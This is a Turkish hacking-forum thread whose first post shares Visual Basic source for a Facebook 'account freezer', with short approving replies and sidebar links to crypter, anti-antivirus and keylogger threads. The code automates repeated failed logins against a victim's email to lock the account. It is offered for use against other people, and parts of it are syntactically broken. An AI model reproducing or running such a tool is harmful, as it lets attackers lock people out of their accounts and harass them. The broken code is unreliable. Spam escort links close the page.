Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Visual Basic 2010 Express'de Dondurucu Kodları
#1
Evet şimdi videolu anlatım yapıcaktım mic bozuk çıktı dedim yazyım program alt yapısında paranomlarda sorun çıktı dedim bende düz anlatım yapiyim dedim

Kod:
Public Class Form1
    
        Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
        End Sub
    
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            Timer1.Start()
            Timer2.Start()
    
            Label3.Text = "Freezing...-
    
            Dim i As Integer
            For i = 0 To 21
                WebBrowser1.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))
                WebBrowser1.Document.GetElementById("pass").SetAttribute("value", "12312332112123")
                WebBrowser1.Document.GetElementById("login").InvokeMember("click")
            Next i
        End Sub
    
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            ProgressBar1.Increment(1)
            If ProgressBar1.Value = ProgressBar1.Maximum Then
                Dim i As Integer
                For i = 0 To 21
                    Try
    
                        WebBrowser1.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))
                        WebBrowser1.Document.GetElementById("pass").SetAttribute("value", "12312332112123")
                        WebBrowser1.Document.GetElementById("login").InvokeMember("click")
                    Catch ex As Exception
                    End Try
                Next i
            End If
        End Sub
    
        Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
            ProgressBar2.Increment(1)
            If ProgressBar2.Value = ProgressBar2.Maximum Then
                Timer1.Stop()
                Timer2.Stop()
                MsgBox("The FaceBook account - & (TextBox1.Text) & - is frozen.-)
                Label3.Text = (TextBox1.Text) & - is Frozen"
                ProgressBar2.Value = ProgressBar2.Minimum
            End If
        End Sub
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Me.Enabled = False
            WebBrowser1.Navigate("https://login.facebook.com/login.php?login_attempt=1")
            Timer3.Start()
        End Sub
    
        Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
            Timer3.Stop()
            Me.Enabled = True
        End Sub
    
        Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click
    
        End Sub
    End Class

Program ile sorunuz olursa özelden msj atın
Ara
Cevapla
#2
Emeğine Sağlık Kardeşim ama Küfür Etmişsin Editlersen İyi olur Uyarı almadan Gülümseme
Ara
Cevapla
#3
yok reyiz o küfürden zaten tanıolar beni Açık Ağızlı Gülümseme
Ara
Cevapla
#4
Bizide Tanıyorlar Reyiz Açık Ağızlı Gülümseme Sen edersen ben Edersem Gülümseme
Ara
Cevapla
#5
adasdasda Açık Ağızlı Gülümseme sıkaypda pilavlı konuşmalar oluyor davetlisin mübarek Açık Ağızlı Gülümseme
Ara
Cevapla
#6
eline sağlık kardeş.
Cevapla
#7
konuyu hideliyelim
▬▬▬▬▬▬▬▬ஜ۩۞۩ஜ▬▬▬▬▬▬▬▬


İllegal Topluluk - KODADIHACK
Ara
Cevapla


Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
Öneri - Fikir Packer/Crypter kaynak kodları defenacxe 14 2,718 09.03.2018, Saat:08:48
Son Yorum: secret_boy
  Visual Basic 6 Anti emulator anti virüs total vb. kodlar Cengaver 13 2,850 09.03.2018, Saat:08:40
Son Yorum: secret_boy
  Visual Basic 6 3 Büyük Arşiv Cengaver 2 1,149 04.07.2017, Saat:23:18
Son Yorum: KODADIHACK
  Visual Basic KeyLogger Ec0 2 518 04.07.2017, Saat:23:15
Son Yorum: KODADIHACK
  Visual Studio Class yapısı ile tıklama (SKYERZ Koş :D) CL4Y3R 5 714 04.07.2017, Saat:23:12
Son Yorum: KODADIHACK

Hızlı Menü:


Konuyu Okuyanlar: 1 Ziyaretçi
escort mersin- ankara escort-